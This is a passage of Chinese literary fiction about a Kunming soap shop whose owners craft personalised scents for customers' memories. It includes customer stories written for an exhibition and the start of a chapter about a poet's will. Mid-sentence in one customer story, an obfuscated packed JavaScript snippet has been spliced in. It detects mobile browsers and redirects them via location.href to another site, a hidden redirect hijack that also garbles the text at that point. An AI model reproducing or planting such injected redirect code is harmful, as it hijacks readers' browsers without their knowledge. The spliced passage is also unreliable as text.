正中间小店,从起初一个小门面,扩建呈了一个小院。起初,院子里总是晾着橘子皮,店里的橘子皮香皂一直卖得不错。这几年,她和翠湖周边所有卖橙汁的店关系都很好。回收来的橙子皮也晾在院子里,她会做出自己很喜欢的香薰。后来,一款她自己做的橙皮车载香薰,在店里卖得很好。 白薇上大学的时候,带了朱瑾送的自制香皂,全寝室都在用。后来毕业多年,室友还会问她要。其实这些自制香皂的味道超市里也能买得到。但朱槿做得留香更久,味道也更淡雅。一米之外,闻不到,靠近了,或者一直放在洗手间,就会时常闻到。用它们洗过手之后,看书、打字时,自己会闻到,但别人在社交距离外都闻不到。 这香气彷佛有自己的性格,一种特别恰当的内秀,和香水不太一样。香水,是人是狗都闻得到,是远或近都能闻得到。喷多了,人走进电梯,整个电梯里的人都不得不闻。当然,这样也很好,存在感很强,适合很想要张扬一下的时刻。但朱瑾做的香皂,带着一种有区分意识的香气,让人可以筛选,谁可以走近你。 “我和我男朋友就是这样认识的。当时我在图书馆借书,他的一本书掉下来,我帮忙捡起来,手上的香气自然地被他闻到。他问我,这是什么香气,很好闻。我们就这样认识了。后来我们闹掰了,我很坚信,他这辈子可以闻到千万种香气,但绝对,不会,再有和我类似的香气了。这是他犯错的代价。 所以,他死皮赖脸地找回来了。 我的嗅觉没有我弟和我妈那样敏锐,但直觉或许还不错。一旦慢慢开始理解我妈,我就能感受到她和我弟弟身上自带的那种纯净。她们这样的人,鼻子里不带什么杂质,所以才能极度敏感。但水至清而无鱼,太纯净了,向外看去,才会产生不适、害怕、忍受、排斥等等很多感受,包括痛苦和崩溃。 从家庭的角度看,一个母亲抛弃了孩子、婚姻,她确实没有做好。但从她的角度来看,努力过了,但依旧要离开她实在无法承受的生活,大概,也无可厚非吧。 我初中时,喜欢听孙燕姿的歌。有一首歌叫做《逃亡》,我想象歌里的画面,一个女人开着车,一直开一直开,到世界的边缘。然后她走下车,面向那个逃离的世界,松了口气,张开双臂,好好拥抱了自己一下。 现在,我想象离开小时候的我们的那个母亲,大概就是这个形象。我试着去感受她那时候的冲动、痛苦、恐惧、无可奈何。我想,她一定经历过彻底的孤独与艰难的抉择。我也能感受她在回来之后,拼命给我们补偿的那颗心。我的心结,渐渐打开了。 我妈去世之后,我和弟弟去收拾她的房间。没有一个腐烂的东西,全部都在保质期内。衣柜里、衣服上,任何东西上,都没有任何不好的味道。 她挺厉害的,是吧?而我只是在成长中,慢慢地追上了她曾经的痛苦,尝试理解她,并接受了她的各种补偿。我们算是,扯平了。” -- 嗅觉是动物的本能。对于嗅觉敏感的人来说,不喜欢的味道,对生命有入侵性。朱瑾让自己从一个被入侵者,变成一个能够主动去做选择的人。与其压抑自己的本性,泯灭自己的需求,不如试一试以另一种方式,活出自己的一生。对于并不顺畅的命运,对于不同于常人的本能,朱瑾勇敢地做出了她的回应。二更心生敬意。 13. 第八课(下):朱瑾 站在香气的正中间 02 你来决定将存在什么味道的香皂 “那是什么味道的香皂呢?”二更问,“图书馆的那次?” “茉莉花,加入了一点点香樟花和芭乐叶,所以味道比茉莉多了一点点清甜”,白薇说。两人望向了窗外那棵香樟树,卖茉莉花的老太太还在楼下。“那是张奶奶,认识我妈也很多年了。她,也算是我妈留给我们姐弟的另外一个遗产吧。” 原本,正中间香皂店只卖香皂。 那年夏天,昆明罕见地遇见了连绵阴雨的一个雨季,天气长期转凉。那时,青年路边时常有老太太摆摊卖黄角兰、茉莉花。黄角兰每两个用白棉线串成一对,茉莉花一颗一颗串成项链或者手串卖。朱瑾路过,见天凉,想让老人家抓紧时间回家,索性就把剩下的一大包黄角兰和茉莉花都了买下来。她担心第二天就浪费了,就想着用酒精来泡泡试试。就这样,她自制出了简单的酒精喷雾,用来喷店里的台面。 这是一切的开始。慢慢地,她开始自己试着做香皂、香薰,花样越做越多。柚子香膏、橘子香薰、雪松香粉、侧柏塔香......当姐弟俩接手店铺的时候,原本,白薇想着化繁为简,保留店铺过去的风格,甚至试试第一年,只卖香皂,就做个和时光倒着走的奇怪铺子。 没想到,重开不久,正中间香皂店就一次偶然的契机推着往一个奇异的方向走,变成了另一番样子。 这就要说到店铺新开后迎来的第一个客人了。这个女孩子刚开始走进店铺时,犹犹豫豫,像一只在森林里迷了路的水鹿。白薇看见,邀请她进来。女孩迟疑地提出了一个很特别的要求,能不能一款香皂,一款蓝花楹味道的香皂,要求有蓝花楹的外形,至于味道,“可以臭臭的。” 蓝花楹很美,但坦白说,味道不是很好闻,和糯香茶一般,也带一点点小猫的脚臭丫味。更准确一点,应该是下雨天有点馊了的的小猫脚丫子味,不是小狗脚丫那样强烈,臭得比较淘气。这几年,许多“五一”假期游客来昆赏花,蓝花楹相关的文创越来越多。不过,诸如蓝花楹雪糕、蓝花楹蛋糕和蓝花楹酸奶等,大多是用蓝莓来染色,因为真正蓝花楹的味道并不适合食用,甚至不适合近距离地久闻。自然,也不太适合制作一款香皂。 “是真的要蓝花楹的味道,对吗?”白薇反复和客户确认。 “是的,因为我爱读的那部小说里,主角的‘信息素’就是蓝花楹。我买回来是为了和他的角色立牌、周边放在一起摆设的,不舍得真的用。所以臭一点也没关系,”对方认真地强调,“它必须真的是蓝花楹的味道。至于是香薰、蜡烛还是一款任何形状的香皂,都无所谓的,能散发真实的味道就好。当然啦,小小就可以。我也不希望整个柜子都是它的味道。” 哦,这样吗?ABO......在接下来几天里,白薇认真地研读了对方提到的小说,并一头扎入了ABO文学的汪洋。这种文学类型有一种奇妙的设定:大家都有“信息素”,出生时就有的独属于自己的某一种味道。你是海盐,我是焦糖,他是柠檬,她是棉花糖......为了满足女孩的需求,白薇监督白岑完成了这一款蓝花楹定制香皂,还送给女孩一小瓶蓝花楹气味的轻型香薰。 大概是女孩在某些群里热情地分享了这份体验,越来越多的小说读者找到了白薇,请求正中间帮忙定制某一位小说人物的信息素。这些小说角色的信息素,有些是单一花草植物的味道,比如柠檬、薄荷、茉莉、乌梅、苦杏仁,也有一些味道来自大自然,比如海洋、海盐、日光、春雪、雨林。无论如何,感谢ABO文学创作者们的奇思妙想,以及手下留情,这些五花八门的信息素往往都很单纯,真定制起来,其实并不复杂。此后半年里,白岑几乎没有假期。他制作了许多符合某位小说人物信息素的手工皂、香薰或是香膏。而白薇,读了不下一百本ABO类型的小说。 有一次,有位狂热的粉丝带来过一个一比一大小的人形立偶,要求用他的信息素定制香氛来“装饰”这只立偶,“让他拥有更鲜活的生命”。白薇看着女孩狂热的星星眼,实在不忍心拒绝。可是,那位小说人物的信息素是木天蓼,这可是比猫薄荷还要吸引猫咪的气味啊。做香薰的那段时间,正中间变成了一家比猫咖还像猫咖的店。门外门内全是猫。没办法,白薇只能关起门来秘密营业,不让猫界再来人了。结果,一楼窗台上开始长猫,窗户上密密麻麻贴满了猫。直到两周后,客人又来,把那位大神立牌送走,店里才彻底地安生了。 “不知道那个客人家里.....会不会被猫骚扰呢?”白薇回忆道。 当一群猫透过窗户,盯着白岑做香薰的时候,白薇觉得,白岑也像一只猫。和母亲一样,他对于气味的感受比大多数人都要精妙,完全超越了人类的嗅觉均值。 母亲离家后,幼小的姐弟俩时常会因为感知不到母亲的存在而哭泣。但白岑与白薇不同,只要把黄角兰的肥皂放在房间里,他就可以安然入睡。他轻微的鼾声,又可以哄着白薇入睡。从小,那只粉红色黄角兰香皂,就是白岑的安神香。 他也像母亲一样会被各种气味扰动心绪。但或许是幼儿时期对黄角兰香皂的依赖,让他的人生早早地拥有了一个锚点,从小,他的高敏感嗅觉处在一种可控的范围内。小时候,去小学上课,只要他的书包里放着那块香皂,他就可以安心。小时候,肥皂需要放在侧兜,放伞放水杯的显眼的地方,随时随地确保自己看得见,长大了,他可以隔着很远的距离、很厚的材质闻到它,只需要一小块,放在行李箱或者衣柜里,他知道它在,就能安心。 在这一点上,白岑比母亲幸运地多。他像一只进化了的,适应城市生活的猫。生理上的共性,让他对逃离家庭的母亲没有抗拒,没有抱怨。从他长大到能听懂母亲逃离故事的那一刻起,他就能从生理本能上理解了母亲。他比母亲更早地明白了自己的困境,也更早地找到了某种解决之道。中学时候,他就决定了以后要选择了化工方向,打算成年后从事与香气有关的行业。 在经过了一场ABO文学“入室抢劫式”的联谊后,一场专属于白岑的香气之旅猝不及防地开始了。 随着正中间名气渐长,来客们开始提出更多奇奇怪怪的需求。白薇和白岑彷佛开了一个万事屋,她们的使命,就是用香气满足人们的各种可爱的幻想。 有人怀念小时候爷爷种的烟叶味道,有人喜欢已逝父亲身上皮革外衣的味道。有人说狗狗不能吃巧克力,但是现在年纪大了,有没有什么东西的气味很像巧克力,可以让狗狗闻一下,又不伤害它的健康?有人想把一些很难喝的汽水复刻成一款香皂,送给朋友做一场无伤大雅的恶作剧,比如,白花蛇舌草味道的香薰。有人想要个芹菜的蜡烛,因为她怀念的人,网名叫“一颗芹菜”。有人想要泥土味的香薰,家里老人病重,想念老家的泥土,却又不能真的让他接触泥土,于是坐飞机过来,捧着一包泥,问是否可以帮忙。 有人说,他想吃云南的菌子,又怕产生幻觉,更怕吃到红伞伞白杠杆不小心躺了板板,想请求店里出一款有致命菌子香气但对人无害的固体香膏。有人说,有没有那种看上去很好看,实际上闻起来不好,但又不怎么危害健康的香薰,想要买回去送给领导。有人怀念自己的小猫,问有没有什么植物闻起来像猫尿的味道。家里猫咪已经去喵星了,去世前老是乱尿,现在反而怀念那种味道。有人想要夏季盘龙江的一点点水腥味,那是他的童年。有人说喜欢小时候吃的磨盘草,像做一个磨盘草形状、青草气味的香皂。有人点名要槟榔花味道的香薰,说曾去过海南一次,但没有赶上槟榔花开的季节,周围人都在和诉说新鲜槟榔花如何好闻,他十分好奇。 有人要做桂花的味道,她觉得桂花太笨了,好人坏人都给闻。她问白薇,可不可以时而闻得到,时而闻不到。于是,白薇让白岑配了一款怀表样子的香囊。见喜欢的人时,打开机关,香气缓溢,和不喜欢的人见面时,它一丝不漏。 有个一身刺青的大哥来定制了一款荷花香的香皂。他健身,练得块很大,坐在店里的凳子上,显得很不协调,白薇生怕他不舒服。他从小在荷花池边长大,小时候,看着荷花过夏天。长大后,他和几个哥们开了一家奢侈品店,几人轮流坐镇店面,个个虎背熊腰,但都有一颗爱看荷花的心,于是门外放了两缸荷花。他提出,想做一个,“有荷花香气的哑铃”。白薇身经百战,用便签纸认真记下了客人的心意与需求,面不改色地说,“没问题”。后来,竟然真的实现了。 有人想复刻雪里胡椒的味。胡椒就胡椒,为何是雪里?原来男人住在一个香料市场附近。小时候,他总被别人笑说衣服上都有香料味,从小到大都很自卑。他很不喜欢香料味道。长大后,他借着读书的机会逃离了香料街,平时很少回来。毕业后,自己创业、买房,都刻意避开了这条老街。去年,昆明下了雪。那天他要出门跑一趟生意,回来时,看见有一个老人家在雪地里,走得很慢。他下来喊老人上车,老人一身胡椒粉味。男人送他回家,老人的家,就住在香料一条街。老人说自己身体不好,想再闻一次雪,这两年一直在等,害怕等不到了。好不容易等到昆明主城区下雪,想好好走走,但身体快支撑不住了,还好,男人心善,送他一程。那天之后,男人记忆里的雪就是和胡椒味混在一起,变得清透了许多。他释然了,接受了童年回忆里的那种味道。但雪天的胡椒味,在昆明毕竟难得一遇。所以,他来找店里帮忙。 还有一位客人他来云南旅居散心,他养了许多年的一只泰迪去世了。小狗的一只耳朵是立着的,另外一只耳朵是耷拉下来的。它是世界上独特的小狗,主人希望复刻小狗的身上的味道。白薇带着白岑,和客人聊了很久,复制出了一款味道,它有点偏向干净的羽绒服被晒得很暖和的味道,此外,再加上一点奥利奥的味道。客人闻到样品时,埋头抱着小样,抬起头时,双眼全是眼泪。 白菜帮子、西红柿梗子、栗子壳、桉树果子,这世间,喜欢各种味道的人都有。人有喜好是一件很可爱的事情。白薇此刻会做一个安静的倾听者,聆听一段又一段的故事,或温暖,或奇异,或带着遗憾与愧疚,或带着的热烈的渴求。当然,这其中,有些要求可以实现,有些需要费一些头脑,还有一些,暂时无解。但讲述者会表示理解,他们在陈述想法时,已经得到了情感的释放,也算不虚此行。 人们在描述自己喜欢或者怀念味道时,心思会变得单纯,身上的味道,都还不错。所以偶尔,白岑也会坐在白薇身边,一起听。反正最后调香都是他来做。人们描述香气时,白岑会产生一种奇妙的通感。他彷佛走入了一片森林,森林里有各种各样的小动物,高低不同的植物群落。他会去密林深处,找寻一株草,一段藤,一朵花,一小撮动物身上的毛发。他把它们混合在一起,拼凑成客人想要的那幅画面。他会把客人在陈述需求时的各种情绪调和好,藏入这幅画里面,再把这幅画变成一种味道,再把这种味道用具体的香薰或是香皂等方式表达出来。这大概是类似绝对音感、绝对色感的一种绝对嗅觉吧,过程只有他自己可以解释。 不只是白岑,店里所有的店员,都在经营着“香气疗愈师”的角色。她们从事着一个需要专业能力与想象力的事情,不仅要精通香料、香皂制作的工艺,还要有想象力与沟通能力,这样才能帮助客人精准地找到想要的东西。如果店员搞不定,那么店里还有一些“香气引导者”,包括各类精油小样、小众香料、老牌国货化妆品、古典香囊等等。它们的主要任务是帮助客人准确地回忆起某一段记忆中的味道和香型,以便调香师更好地定位香气的类型。 有客人对云南恋恋不舍,他们会询问,怎么把火把节夜空下松枝与香樟叶的烟火气带回家?那就和店员们一起做个“火把节香薰蜡烛”吧,以香樟为基调,加入雪松、柑橘调,做成雪松造型的蜡烛。这种蜡烛点燃后,既有传统烟火气,又多了一重清新。与其类似,以傣族泼水节为灵感的“香茅精油皂”卖得也很好。店里也会定期请一些合香师傅,针对云南的特色香料,如滇南热带雨林的香茅、降真香,滇中高原的松柏腊梅,制作精致的合香毛衣链、项链和手串。它们的原料通常以松针粉、榆树皮为主,还可以针对安神、醒神等不同需求,继续添加薄荷、迷迭香,或是艾草、苍术等。 现代香水产业让香水走入大众日常,香水品牌引导大众创造出各种集体诉求,比如,沈阳么的日子要喷香奈尔5号,什么样的约会要喷毒药。你违反了,就显得不够聪明。在正中间,是你的想象力去决定这个世界上将存在一种什么样味道的香皂、蜡烛或是塔香。它放大了这个世界对于任何一个普通人的嗅觉的尊重,对相关的记忆与想象力的尊重。 另外,因为除了白岑,所有调香师都是女性,所以正中间的调香师们更关注一种香气与一个人灵魂的匹配度,而不仅仅是在意它否增进了女性魅力,是否有助于吸引男人的注意力,是否能刺激情欲让某个部位被谁亲吻。当一个女顾客走进店里询问一种商品,是老款的香皂也好,是定制的香薰也好,她得到的绝对不是一个魅惑他人的武器,不是打败另一群女人的利器,而是她和自己,和她相信的神灵,和逝去的爱人、爱宠、爱物沟通的温柔媒介。 “如果我妈还在,她一定可以和我弟无障碍地交流”,白薇说,“如果她还在,或许,她可以和我弟一样,过得自在一些,中和一些过去她遭遇过的难过吧。”如今,母亲已逝,白薇想做的,是确保白岑的嗅觉和灵魂都自由,不必像母亲当年那样在拉扯之中只有痛苦。 白薇保留了所有的便签纸。一部分是她在接待有高定制需求的来客时,记录下的笔记。一部分是需求简单的顾客手写的关键词。它们整合成一个活页本,本子像一棵芬芳植物,慢慢生长,时常开花。白薇在缓缓地推进她的梦想。 “我希望我弟弟自由,在这家店里,像一个舞者找到了自己适宜的舞台,无忧无虑地跳下去。或许,我弟弟也可以将我妈的勇敢,那种赶回来开一家香皂店的勇敢,升级一下,做出能治愈更多人人生的良药。” 一个月后,石房子迎来了迄今为止最特别的一次展览--到处都是香皂。 白薇整理了这一年来他们做过的十几例定制皂。手工皂的灵感提供者同意参与这次展览,同意店铺按照过去的配方,多做出一份,作为纪念一位有趣阿姨的香气礼物。 为了不让香气彼此打扰,手工皂之间隔开了恰当的距离。旅途之中的姜籽给每一种香气的纪念品绘制了独特的图纸,像是小时候糖果的包装纸,作为这些小香皂的托盘。每件香气纪念品旁边都放着一封信,白岑用秀雅的字手写出每一段香气的故事。 - - 柚子精油 我被辞退了,回老家,奶奶知道我不开心,也没说什么。她拿出我买回家的柚子,剥了皮,把一小块柚子皮放在手里,双手来回搓热了,手心里生出一种柚子香。然后她用手心轻轻捂了捂我的额头,然后是太阳穴,之后是双眼。 我的眼眶一片温热。 我们之间全是柚子香。 刚被铁锤伦过的我,忽然吃到了一颗棉花糖。 小时候,奶奶也会这样帮我搓冰凉的手。我血气有些不畅通,入秋之后,总是手脚冰凉。 “我们小林的小手又凉了”,奶奶一边搓,一边说。 长大后我买过很多柚子味道的香水和精油,但总觉得太复杂了。 这块,刚刚好。 --小林 含笑花的香气 我还在杭州工作的时候,有一次因为工作焦头烂额,特别消沉,就去了大学附近的一条街上一家老餐馆,点了四五道根本吃不到的重口味菜,东坡肉啊之类的。吃得很撑时抬起头准备歇着,正好门口进来一个女人。 她看起来并不是很年轻,衣着朴素。一个小男孩正跑着撞到她身上,忽然说,好香,好香啊! 小男孩问,你是仙女吗?当时好多人转头看她,大概是觉得这话很可爱,有点好奇。 她有点不好意思。她说,她不是仙女,她最近特别倒霉。然后,她从裤子口袋里掏出来几个花瓣,放在手心里,给小男孩看。小男孩看不懂,就一溜烟跑走了。 我看到了。那是含笑花。 含笑花很香。有些人说像香蕉香,有些人说像苹果香。无论哪种,我都很喜欢。 她最后自己看着手里的花瓣,从容地笑了一下。那表情,很好看。 后来我经常在不同城市里找找含笑花。我曾经见过一株含笑树,已经长得很大了,像南方的榕树那么大。那棵树下,经常有人坐在树下谈恋爱。园子里的环卫阿姨叫它恋爱树。但她不太喜欢它,因为恋爱树底下的果皮总是比别处的更多一些,她清理起来总是要比别处更费心。 园子里还做了一个投票,在含笑盛开的季节,让游客在小黑板上写正字的方式来投票,含笑闻起来究竟是像香蕉,还是像苹果。后来,认为是苹果香气的占了一大半, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294816|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险胜。除了原来的答案,还有人提出了蜜瓜、指甲油,这两派也得了差不多5%的票。 我投了香蕉一票。所以我定制了一款香蕉形状、含笑气味的香皂。 --张大头 彩虹 昆明的夏季离不开彩虹。 前几天刚好雨停了,家东边的天空有一段彩虹。彩虹的双脚都在云里埋着,真的很梦幻。 我知道它只能出现一会儿,就什么都不做,站在落地窗前,静静地看。 正好有一架飞机穿过天空,在我的视线里,它正好穿过了那道彩虹。 又过了大概十几分钟,彩虹也消失了。 因为一早就知道,彩云易散。人只能在它出现的时候静静地看,耐心地等它消失,也不会到哭泣,或者太过感伤。 我的人生中有过许多道彩虹,爱慕与美好都是真的,从未想过占有,我总是很有耐心地静静地看,静静地等它消失。 但有时也会想,我哪天可不可以用勇气留住一段彩虹。 -- 小晏 山桂花 读汪曾祺的《人间草木》,他说昆明女人很爱在头上插花,这件事我从很小就知道。 我小时候,婆婆去村里后山上散步,经常带回来一种花,我们叫山桂花。它的香气很像桂花,花朵小小的,有点像白色的迎春花。那时她带回来的花多了,我就带着去上学,分为同学。那是我对小学最美好的记忆了。 这些年,我已经很久没有闻到山桂花的味道了。斗南花市花材那么多,似乎也没怎么遇见。可能是山里的味道,真是怀念啊。 -- 阿宋 此外,还有一块油画肥皂,很特别,包裹它的画并不来自于姜籽,而是一位小朋友。 《日暮》是一位法国艺术家的作品。这款香皂的旁边放着一幅《日暮》的临摹作品。 原作中的有些驼背的看似老妇的女人,变成了少女,她仍在海边看日落,标志性的红房子色彩更艳丽了。原作的画面有一种烛光里的朦胧感,色调如日落的昏黄,厚重典雅。然而这幅临摹作品中,所有静默的、下沉的部分似乎都有了神奇的起色。女人并不驼背,背很直,她的腿很短,看起来像是一个小孩子被抱到了礁石上,小短腿荡悠着,够不着地。 原来一抹深蓝色蓝点一样的头巾,变得很大,成了浅蓝色,像是一个温暖的帽子把孩子的头稳稳地包裹,不沾染一点海风。原作中,落日的晚霞从海水到天幕,有丰富而复杂的层次感,像是对于人生五味杂陈的回望。但临摹作品的处理没那么复杂,直接采取了大量的红与黄,直白热烈,没有过渡,直接碰撞,碰出了卓越的生命力 。整个作品,全是绚烂,没有朦胧。 小朋友临摹的是日暮,却画出了日出。 小朋友两年前因病去世了。父母在来昆明旅行时,碰巧走进了正中间。她们询问,师傅可以将一幅画复原成为一块油画香皂。香皂的香气,来自于玫瑰。很多人在这幅朝气蓬勃的画作面前驻足,感受着也让人心动亦唏嘘的一抹绚烂。 展厅里,所有的香气都很朴素,并不刻意地想去吸引谁,而是作为单纯的私人记忆,独处式地存在着。来客们在这些味道里,试着去闻,闻到一些可爱的人,闻到独属于她们的那个宇宙,闻到自己的想象力,也闻到了自己怀念的人和事。 二更也贡献了特别的香气。 一个小盒子里装了一份线香。隔着盒子,能闻到一种龙井茶的味道,但不止于此,还带些香甜。 白岑的笔迹写了二更口述的故事。 “我的父母是因为爱结合的,我的母亲甚至为爱私奔,从江浙跑到了北方。但再好的爱情,也最终要被揉到真实的婚姻里。 从我记事开始,他们就在吵架,从不避开我。 我妈是个记者,教育水平不低,见识也很广泛。但你能想象吗,他们吵架时,她还是会大喊大叫,摔摔打打。我总是很熟练地躲到隔壁屋子里去。 也还是会害怕。我记得那时家里有一款线香,龙井茶的味道。我就小房间里默默点香,并不是为了闻味道安神,而是一点一点地去戳图画书里小孩的眼睛,燃烧着的香头戳破画中人的眼睛、穿过纸面的一瞬间,我会感到安心。 现在回想,这画面真的畸形。那个小孩儿,一定很奇怪。 但我并不忍心责备她。她在她那个闭塞的童年里,在努力安慰自己了。 我没见过哪一部影视剧曾经用过这样的画面讲述一对父母吵架对孩子造成的阴影。如果我是导演,我大概就会这样表达,一幅具体也很诡异的画面。 如果没有这款香,或许我这辈子对龙井茶,都是这个印象。 但现在,不一样了。这款线香重新定义了我对香气、对线香、对龙井味道的理解,它拉着我,走回了一条舒适的路。谢谢!” 二更记得那晚,在结束拜访之前,白薇听了她的故事,轻轻拍了拍她的胳膊。不久后,二更收到了一份快递。 一块叫做夏夜的香皂,也是一款油画皂,带着淡淡的薰衣草香气。底色介于紫色与蓝色之间。油画里有一条江,几个小人。江是盘龙江,人是江边摸鱼的人、湖边坐着聊天的人、以及江边“鬼市”(鱼龙混杂的二手货品市场)里熙熙攘攘的人。一只白色的飞鸟,飞过这乱糟糟却可爱的人世间。这是白岑最近做着玩的试验品,还算成功,切了几块,权当赠品。 主角,则是这款龙井味道的线香。 回到家,蹲在窗前,她点燃了那根绿茶香味的线香。距离她小时候在父母的争吵声中点燃线香,大概已经过去了快三十年了?细嗅那藏在其间的香甜,似乎是青梅香,又带着一点迷迭香的梦幻感。 那晚,二更在绿茶香中,做了一个梦。 她回到了正中间,早些年前的小院里。只有一间门面房,后面是一个院子。推开后门,走入院子,植物们和她打招呼。熊童子在慵懒地晒太阳,万重山岿然不动,月兔耳的绒毛泛着银色的光。健壮的紫玉,栽在一只很大的湖绿色陶土盆里,底盘稳重,看起来是爷爷辈的。旁边几十个小罐子里是它生出的子子孙孙。院子里弥散着寂静的香气,米兰,夜来香,瑞香,桂花,九里香,腊梅,桂花?似乎不同季节、不同类型的香气,都在此间兜转,但并未打架。 一个女人,在无人的芬芳的院子里。觉察到有人来,她转过头来。女人有点瘦,鼻梁很高,丹凤眼,眼神带着一点点忧思的样子,下巴上有一颗小小的痣。 女人和她聊天。她无法回答,无法提问,只是听。 她说,自己外出的那两年,在外一边打工一边游荡。一个好心的大姐收留了她,在一家老社区的杂货店仓库里理货。 那天,镇上有一场葬礼。 逝者是一个瘫痪在床三年有余的老人。她跟着那位大姐去慰问老人的老伴,大姐在前安慰,她在她身后,帮忙提着几箱牛奶小蛋糕,听大姐安慰老人的老伴。她是个瘦小的女人,脸上全是皱纹,原本和谐的眉眼间距在岁月里被挤压,有些三角眼。她絮絮叨叨讲述第一天吃了一碗面,第二天吃了一个鸡蛋,将男人什么时候回光返照,什么时候又不好了。来人便说,逢人就要重复一边,好像在向天表明,她尽了心。 大姐后来偷偷和她说,这个女人恨了他男人一辈子,逆来顺受,并不幸福。他死了,她没有掉一滴泪。这老板虽生得瘦小,年轻时也是个美人胚子,岂料一年年地,竟干瘦地越来越像个老鼠干,也怪让人心疼的。 大姐和她在屋顶上听着哀乐晒太阳,看楼下的人,打牌的有,抽烟的有,如果没有禁令村里的假哭丧队,哭丧的陌生人也会有。老人九十岁走的,喜丧,人们有说有笑也没什么。其实没有人在意死去的那个人究竟是个什么样的人。 女人在那一刻,从一场喜丧当中突然明白了。她不想一辈子活在谁的身后,在怨憎中度过人生。她想站在喜欢的事物的正中间,为自己活。 女人说,植物只是生长,喜欢水,就会倾斜过来,喜欢阳,就会向阳伸展。它们有人们喜欢的味道、不喜欢的味道,开人们喜欢的花,飞不喜欢的飞絮,统统都不会改,该如何仍如何。就像紫玉垂着,从很高的地方垂下来,不需要另外的什么支撑,根本不会感觉到,因为它在做老天给的本性应该做的事情。一旦紫玉开始在乎其他人的想法,它就有可能会掉了。 她不想掉。她要好好活。 她要站在她喜欢的香气的正中间,好好活。 14. 第九课(上): 辛夷 偶尔躲藏 01 在静园里,隐而又隐 二更见欧菱的第一眼,就觉得这个年轻的女孩笑起来很像一个小动物。她的长发是微微的玉米烫,给人一种毛茸茸的可爱错觉。眼睛瞳孔尤为黑亮,像是灵狐口中衔着着一颗圆圆的黑葡萄。 她开口之后,二更又惊讶了一次,因为这个声音很熟悉。 欧菱是一位年轻的配音演员,国内数得上的播音主持系毕业后,在广州工作。从最初的跟棚小透明做起,一步步成长,如今,她已参与过很多知名有声书、广播剧项目的录制。 遗憾的是,这样一个好听的声音开口和二更说话时,带来的是一个让人遗憾的消息。 “您愿意做我奶奶遗嘱的见证人吗?” 活了三十多年,二更参与过的其他人的人生仪式并不多。除了家人的婚礼、葬礼,年轻时候当过一两位朋友的伴娘,此外无他。最近三、四年,她什么活动都没有参加过。在受邀见证一份遗嘱的宣读时,她惊讶,也有些犹豫。 邀请人的声线太过动听,她甚至带了一份礼物:一束还带着露水的白姜花。白姜花并不名贵,但不太好买,在昆明这两年,她从未在菜市场见过新鲜的白姜花。可它确实是寻常的,菜地里一大把,即便卖,也不过五块钱、八块钱一把。花是欧菱专程从广州菜市场带回的。香气扑鼻,二更心动了。 虽然不知欧菱的奶奶辛夷女士为何会提出这样一个奇特的要求,她还是答应了。 辛夷,欧菱的奶奶,在去世前曾立下一份遗嘱。她将在昆明的一处房产赠予孙女欧菱,并要求在公布遗嘱时,欧菱需要邀请一位年满36岁、她信任的女性朋友作为必要的见证人。 二更与欧菱是素未谋面的陌生人。欧菱自从跟因奶奶病重,搬回昆明后,在石房子里看过两次展览。她辗转通过各种方式联系到了展览的策展人之一,二更。真巧,二更今年刚好年满36岁。 “我奶奶在人生最后的十多年,大部分时间也是独自生活的,”欧菱说,“她给我留下了一份遗产,又附带了一个这样的条件。我不是很明白。佘老师,我或许,需要您的帮忙。” “你是不是被盯上了,小佘姐?” 姜籽在电话另一边发出了合理的揣测。在答应欧菱好好考虑一下之后,二更暂别欧菱,之后拨通了姜籽的电话。“这个见证人的条件,好像是专门为你量身定做的,如果不是太过有缘,就是有点......奇怪了”,姜籽说,“我不太放心。” 这段时间,姜执仍在告假,去参加一个东南亚生物多样性主题的植物考察。对,是考察,但她对姜兰宣称是一次植物主题的展览,她只是去参与策展,十分安全,不必担心。得知二更遇到了这个么奇怪的邀请,她有点担心。毕竟,如今云南到了雨季,这是一个很多人会因菌中毒出现幻觉的季节。一些人会看见小人追着跑,一些人说自己要帮凤凰捋毛的,一些人在病床上挥舞双臂刷了一夜小龙虾,空中只有他能看见的小龙虾。姜籽担心,二更也是吃了菌子做了怪梦,迟迟没有醒来。 “可是,邀请人的奶奶,辛夷女士,也就是立下这份遗嘱的人,或许是我们正在寻访的那类人”,二更解释道。 辛夷,青年时代从事石斛研究。在成为欧菱的奶奶之前,她曾有过一次婚姻,婚后因流产而离异。三十八岁时,她迎来第二次婚姻,与第二任丈夫结婚。十年前,丈夫因病去世。在亲人住在同一小区方便照看的前提下,辛夷开始了一个人的独居生活。 从那时起,她开始了诗歌创作,作品多以云南的花草为主题。今年春,辛夷因病逝世。 “她是一位诗人?”姜籽也开始好奇了。 是的,二更和姜籽分享了她刚查阅到的资料。辛夷,本名和笔名一样。她在丈夫去世后的第二年,开始在一个中文诗歌论坛上每两三周更新一两首诗,一直持续到去世前一年。三年前,诗歌论坛曾举办过一个小型的年度诗会。辛夷曾在线上连线和大家分享创作心德。 那是一段很真诚的语音,辛夷的声音像热带阳光下的海水,温和,辽阔。二更隔着电话,把这段录音放给姜籽听。 - - “我是一个很幸运的园丁,在人生晚年,经营了一个小花园。 说自己幸运,是因为作为一个喜欢花花草草的人,我的整个人生是在云南度过的。我生活的这个地方,就花草树木来说,堪称是一座不断生长和变化,一直能给人惊喜的宝地。它们美得大大方方,开得没心没肺。 比如说,我中年之后搬到了昆明。这里,春夏之交,蓝花楹盛开。它开的时候,坦然地接受人们的赞赏。它落的时候,蓝紫色的花瓣有些落在公交车车顶上,有些落在菜市场门口小摊车里的小南瓜上。它们平等地照顾着城市里的每一个角落,没有谁比另一朵落的地方更高贵。落花身上的那种特质很动人,和人不太一样。 